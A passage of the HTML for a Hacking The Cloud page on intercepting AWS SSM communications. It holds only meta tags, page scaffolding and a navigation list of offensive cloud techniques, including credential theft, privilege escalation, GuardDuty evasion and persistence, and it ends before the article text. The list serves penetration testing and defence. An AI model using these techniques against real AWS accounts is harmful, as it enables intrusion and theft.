content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Intercept SSM Communications - Hacking The Cloud"><meta property=twitter:description content="With access to an EC2 instance you can intercept, modify, and spoof SSM communications."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#intercept-ec2-messages class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Intercept SSM Communications </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Intercept SSM Communications </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Intercept SSM Communications </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#intercept-ec2-messages class=md-nav__link> <span class=md-ellipsis> Intercept EC2 Messages </span> </a> </li> <li class=md-nav__item> <a href=#intercept-ssm-sessions class=md-nav__link> <span class=md-ellipsis> Intercept SSM Sessions </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command 